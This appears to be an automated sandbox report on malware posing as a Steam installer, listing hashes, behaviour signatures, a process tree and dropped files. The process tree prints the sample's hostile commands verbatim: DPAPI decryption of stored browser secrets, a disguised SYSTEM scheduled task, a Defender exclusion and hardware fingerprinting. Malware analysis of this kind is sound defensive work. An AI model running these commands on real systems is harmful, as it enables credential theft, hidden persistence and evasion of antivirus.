Overview
overview
7Static
static
3Steam_6n0hahx7.exe
windows11-21h2-x64
$PLUGINSDI...ls.dll
windows11-21h2-x64
3$PLUGINSDI...em.dll
windows11-21h2-x64
3LICENSES.c...m.html
windows11-21h2-x64
1Steam.exe
windows11-21h2-x64
7d3dcompiler_47.dll
windows11-21h2-x64
1ffmpeg.dll
windows11-21h2-x64
1libEGL.dll
windows11-21h2-x64
1libGLESv2.dll
windows11-21h2-x64
1resources/elevate.exe
windows11-21h2-x64
1vk_swiftshader.dll
windows11-21h2-x64
1vulkan-1.dll
windows11-21h2-x64
1$PLUGINSDI...7z.dll
windows11-21h2-x64
3Analysis
- max time kernel
4s - max time network
10s - platform
windows11-21h2_x64 - resource
win11-20240221-en - resource tags
arch:x64arch:x86image:win11-20240221-enlocale:en-usos:windows11-21h2-x64system - submitted
07/04/2024, 19:44
Static task
static1
Behavioral task
behavioral1
Sample
Steam_6n0hahx7.exe
Resource
win11-20240221-en
Behavioral task
behavioral2
Sample
$PLUGINSDIR/StdUtils.dll
Resource
win11-20240221-en
Behavioral task
behavioral3
Sample
$PLUGINSDIR/System.dll
Resource
win11-20240221-en
Behavioral task
behavioral4
Sample
LICENSES.chromium.html
Resource
win11-20240221-en
Behavioral task
behavioral5
Sample
Steam.exe
Resource
win11-20240221-en
Behavioral task
behavioral6
Sample
d3dcompiler_47.dll
Resource
win11-20240221-en
Behavioral task
behavioral7
Sample
ffmpeg.dll
Resource
win11-20240221-en
Behavioral task
behavioral8
Sample
libEGL.dll
Resource
win11-20240214-en
Behavioral task
behavioral9
Sample
libGLESv2.dll
Resource
win11-20240221-en
Behavioral task
behavioral10
Sample
resources/elevate.exe
Resource
win11-20240221-en
Behavioral task
behavioral11
Sample
vk_swiftshader.dll
Resource
win11-20240221-en
Behavioral task
behavioral12
Sample
vulkan-1.dll
Resource
win11-20240221-en
Behavioral task
behavioral13
Sample
$PLUGINSDIR/nsis7z.dll
Resource
win11-20240221-en
General
- Target Steam.exe
- Size 154.5MB
- Sample240407-yft4mscf4x
- SHA256 0177dec5005ce11309a54c49bc6a36c97008751db890b7bdf6c9eba48815acef
- MD5 8a3861c725d108eb0c1a17fa43f0487a
- SHA1 e4b713028e43e0f99e4568aa3902384b52951ed2
- SHA512 db3765823fd8bea6e6b1c17b8144038586e5089b20c6ee70e517cb5c864ec874f82cf08696cebb48b148683de3f6bea93b65d26c58f166a7bb3defd49e5dd3ad
- SSDEEP 1572864:UCquurbtqKajQe7vqrTU4PrCsdCXrBngPE1cG7VOWe2IkBmUgq3Fd6iU3x6VCdbm:eDAgZi
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Signatures
- Loads dropped DLL 1 IoCs
pid Process 4576 Steam.exe - Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 2 api.ipify.org - An obfuscated cmd.exe command-line is typically used to evade detection. 2 IoCs
pid Process 3524 cmd.exe 3156 cmd.exe - Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3120 schtasks.exe - Enumerates processes with tasklist 1 TTPs 2 IoCs
pid Process 648 tasklist.exe 4528 tasklist.exe - Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 648 tasklist.exe Token: SeDebugPrivilege 4528 tasklist.exe - Suspicious use of WriteProcessMemory 16 IoCs
description pid Process procid_target PID 4576 wrote to memory of 4896 4576 Steam.exe 78 PID 4576 wrote to memory of 4896 4576 Steam.exe 78 PID 4576 wrote to memory of 344 4576 Steam.exe 79 PID 4576 wrote to memory of 344 4576 Steam.exe 79 PID 344 wrote to memory of 648 344 cmd.exe 82 PID 344 wrote to memory of 648 344 cmd.exe 82 PID 4896 wrote to memory of 852 4896 cmd.exe 83 PID 4896 wrote to memory of 852 4896 cmd.exe 83 PID 4576 wrote to memory of 4760 4576 Steam.exe 85 PID 4576 wrote to memory of 4760 4576 Steam.exe 85 PID 4576 wrote to memory of 3524 4576 Steam.exe 87 PID 4576 wrote to memory of 3524 4576 Steam.exe 87 PID 4760 wrote to memory of 4528 4760 cmd.exe 89 PID 4760 wrote to memory of 4528 4760 cmd.exe 89 PID 3524 wrote to memory of 2488 3524 cmd.exe 90 PID 3524 wrote to memory of 2488 3524 cmd.exe 90
Processes
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C:\Users\Admin\AppData\Local\Temp\Steam.exe"C:\Users\Admin\AppData\Local\Temp\Steam.exe"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:4576 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"2⤵
- Suspicious use of WriteProcessMemory
PID:4896 -
C:\Windows\system32\curl.execurl http://api.ipify.org/ --ssl-no-revoke3⤵PID:852
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist"2⤵
- Suspicious use of WriteProcessMemory
PID:344 -
C:\Windows\system32\tasklist.exetasklist3⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:648
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist"2⤵
- Suspicious use of WriteProcessMemory
PID:4760 -
C:\Windows\system32\tasklist.exetasklist3⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:4528
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,1,230,209,96,183,3,147,71,187,153,213,196,88,17,142,74,0,0,0,0,2,0,0,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,142,201,190,236,119,164,249,229,41,6,194,37,239,167,184,163,113,143,87,88,255,118,110,201,100,66,207,20,108,252,227,68,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,117,182,249,61,2,159,110,24,25,13,161,36,186,14,75,78,120,216,53,125,15,64,189,193,186,132,116,79,103,202,186,94,48,0,0,0,152,140,232,44,188,166,20,101,3,247,171,153,99,3,74,178,253,152,73,92,23,31,142,140,189,199,211,146,124,26,26,111,64,189,223,72,118,238,118,127,166,126,39,230,8,162,176,235,64,0,0,0,180,244,68,231,242,166,178,241,72,22,15,194,14,178,91,91,84,8,166,233,155,101,48,41,247,47,79,140,45,53,245,186,235,199,214,238,172,241,176,13,60,70,213,189,216,77,98,203,211,240,139,15,138,215,20,227,41,204,192,211,179,39,141,8), $null, 'CurrentUser')"2⤵
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
PID:3524 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,1,230,209,96,183,3,147,71,187,153,213,196,88,17,142,74,0,0,0,0,2,0,0,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,142,201,190,236,119,164,249,229,41,6,194,37,239,167,184,163,113,143,87,88,255,118,110,201,100,66,207,20,108,252,227,68,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,117,182,249,61,2,159,110,24,25,13,161,36,186,14,75,78,120,216,53,125,15,64,189,193,186,132,116,79,103,202,186,94,48,0,0,0,152,140,232,44,188,166,20,101,3,247,171,153,99,3,74,178,253,152,73,92,23,31,142,140,189,199,211,146,124,26,26,111,64,189,223,72,118,238,118,127,166,126,39,230,8,162,176,235,64,0,0,0,180,244,68,231,242,166,178,241,72,22,15,194,14,178,91,91,84,8,166,233,155,101,48,41,247,47,79,140,45,53,245,186,235,199,214,238,172,241,176,13,60,70,213,189,216,77,98,203,211,240,139,15,138,215,20,227,41,204,192,211,179,39,141,8), $null, 'CurrentUser')3⤵PID:2488
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,1,230,209,96,183,3,147,71,187,153,213,196,88,17,142,74,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,184,134,57,53,184,109,103,87,41,96,93,54,175,83,254,108,1,199,63,183,145,59,67,77,142,131,41,66,140,251,225,30,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,50,139,195,109,157,54,95,31,122,27,243,129,91,106,56,19,120,167,108,199,123,190,180,44,26,193,243,188,5,249,100,159,48,0,0,0,79,190,164,90,47,210,54,200,237,40,110,74,250,111,141,178,90,89,142,131,113,94,149,123,17,190,228,107,254,66,96,184,159,117,236,86,51,7,28,128,111,234,232,223,185,23,255,90,64,0,0,0,60,144,165,167,84,157,208,17,93,60,160,32,92,249,63,246,132,77,226,246,5,218,17,205,23,195,165,110,254,55,95,129,234,6,241,102,134,123,200,151,222,54,233,191,21,50,221,233,126,250,119,218,52,59,70,62,8,46,61,164,64,24,209,159), $null, 'CurrentUser')"2⤵
- An obfuscated cmd.exe command-line is typically used to evade detection.
PID:3156 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,1,230,209,96,183,3,147,71,187,153,213,196,88,17,142,74,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,184,134,57,53,184,109,103,87,41,96,93,54,175,83,254,108,1,199,63,183,145,59,67,77,142,131,41,66,140,251,225,30,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,50,139,195,109,157,54,95,31,122,27,243,129,91,106,56,19,120,167,108,199,123,190,180,44,26,193,243,188,5,249,100,159,48,0,0,0,79,190,164,90,47,210,54,200,237,40,110,74,250,111,141,178,90,89,142,131,113,94,149,123,17,190,228,107,254,66,96,184,159,117,236,86,51,7,28,128,111,234,232,223,185,23,255,90,64,0,0,0,60,144,165,167,84,157,208,17,93,60,160,32,92,249,63,246,132,77,226,246,5,218,17,205,23,195,165,110,254,55,95,129,234,6,241,102,134,123,200,151,222,54,233,191,21,50,221,233,126,250,119,218,52,59,70,62,8,46,61,164,64,24,209,159), $null, 'CurrentUser')3⤵PID:4852
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get serialnumber"2⤵PID:4816
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C:\Windows\System32\Wbem\WMIC.exewmic diskdrive get serialnumber3⤵PID:2868
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Steam /f"2⤵PID:2504
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C:\Windows\system32\reg.exereg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Steam /f3⤵PID:5040
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "GoogleUpdateTaskMachineUAC" /tr "cscript //nologo C:\Users\Admin\AppData\Roaming\Steam\RunBatHidden.vbs" /sc minute /mo 10 /f /RU SYSTEM"2⤵PID:1008
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C:\Windows\system32\schtasks.exeschtasks /create /tn "GoogleUpdateTaskMachineUAC" /tr "cscript //nologo C:\Users\Admin\AppData\Roaming\Steam\RunBatHidden.vbs" /sc minute /mo 10 /f /RU SYSTEM3⤵
- Creates scheduled task(s)
PID:3120
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C:\Users\Admin\AppData\Local\Temp\Steam.exe"C:\Users\Admin\AppData\Local\Temp\Steam.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\Steam" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1712 --field-trial-handle=1960,i,12471839113151150774,27583312757680621,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:22⤵PID:1828
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:3080
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C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:2188
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C:\Users\Admin\AppData\Local\Temp\Steam.exe"C:\Users\Admin\AppData\Local\Temp\Steam.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\Steam" --mojo-platform-channel-handle=1288 --field-trial-handle=1960,i,12471839113151150774,27583312757680621,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:82⤵PID:2736
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "cscript //nologo "C:\Users\Admin\AppData\Roaming\Steam\RunBatHidden.vbs""2⤵PID:3728
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C:\Windows\system32\cscript.execscript //nologo "C:\Users\Admin\AppData\Roaming\Steam\RunBatHidden.vbs"3⤵PID:3088
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Steam\CheckEpicGamesLauncher.bat" "4⤵PID:2252
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"5⤵PID:1412
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get serialnumber"2⤵PID:1516
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C:\Windows\System32\Wbem\WMIC.exewmic baseboard get serialnumber3⤵PID:4176
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:664
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C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:1228
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C:\Windows\system32\find.exefind /i "Speed"3⤵PID:4668
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_computersystemproduct get uuid"2⤵PID:2044
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C:\Windows\System32\Wbem\WMIC.exewmic path win32_computersystemproduct get uuid3⤵PID:1872
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell wininit.exe"2⤵PID:1232
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell wininit.exe3⤵PID:4796
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C:\Windows\system32\wininit.exe"C:\Windows\system32\wininit.exe"4⤵PID:3116
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 3KB
- SHA256 5e314ed17c2e2997a8ffde8d3d68a05004fb29659ad1a10e698f04462a9d69d5
- MD5 f10a836b72e0bf0946a8e1cd5fadce2c
- SHA1 586b63a56f0eb3e84be0cca2aa83a3ad66ad268e
- SHA512 1ecfe04091c336147e372ea24defeeb0c965ad2a02f64e4c6f64edf25a1cf289b02456c782fd3a9a6f401f947fd07125c36c9bbcb5eff4ac11d2b99b5c3827fd
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 921c27cf4a64523fdcaa3f724a90a5f635da1f05541b7c6bcce9b5a892909ce9
- MD5 7a2b288b6516ace3c60a8b6718511f0a
- SHA1 7783140c099db9de2dcc5d5fc4ac79105e41f707
- SHA512 56d57c9c46be4fef39b6d1a0cc5b769eec05f42a08323b41c222096831be315009860d4bd3d7dc5833887845d11806cf2eef24ce7e24888c2c30777f6918974f
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 e291bdfc4667f621131172b199039aa4147404efa429ad54482073b4e46c391a
- MD5 14bb94c36d909375f4a2c1163c1780fb
- SHA1 02ff6e3a0293fe7428499390adacc96862e17d91
- SHA512 9241b39e96e443a40e9cb59b5db5f8e5724203742ecdad77f147bb59360fdf7d198ad49c44682d707fe3ab77b5cd01b1d9c27cfc8e3900ea2a99fad9a26cb0b6
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vzfzesfy.ged.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\f1488582-d6b7-497c-9bf5-c48c7a80f6cf.tmp.node
- Size 1.8MB
- SHA256 7fb52b781709b065c240b6b81394be6e72e53fe11d7c8e0f7b49dd417eb78a01
- MD5 3072b68e3c226aff39e6782d025f25a8
- SHA1 cf559196d74fa490ac8ce192db222c9f5c5a006a
- SHA512 61ebc72c20195e99244d95af1ab44fa06201a1aee2b5da04490fdc4312e8324a40b0e15a7b42fab5179753d767c1d08ae1a7a56ac71a6e100e63f83db849ee61
- SSDEEP 49152:B+m+ocH2xfpTOi8stmFlZwwpx8AzdWgl+06OHULH5dsGfl:ihCTOi8sQrZwwpxTbG9
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Roaming\Steam\CheckEpicGamesLauncher.bat
- Size 1KB
- SHA256 0626a1ecba78a0d83bddf6fceb66ba490e5ba176516e496faec4c1b3e344e2a1
- MD5 79a5e87823b83ea148f718b5fe237ec9
- SHA1 408431f7d062aef5017f2ce715b2da16a8585fa8
- SHA512 2433d01f189a49a3155f46d494bc2a441faf0f29160d5709e92972d558afa22ac6bd71e089fbd7a19a39ca151f90b086d5cbb6e7f17f7460df35397cf73cf5a8
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Roaming\Steam\RunBatHidden.vbs
- Size 155B
- SHA256 e0388ef99c9337d7779c5cbca39cc51d558ca6aa2434f8d7e0794ae1cdb7c870
- MD5 849a5123f73771f6fe0e36056813e7cb
- SHA1 ccf4436fccf38a27cabf2603e61557976dbe3b01
- SHA512 1204530de2c24b8ce159ec95044b9cb065a8aab95143b73467ea67fc3756c08f9b782dc9934ab98cfdb27f33caa6f7157b7750763f78e5406c46533ec37f9ebd
- MD5 SHA1 SHA512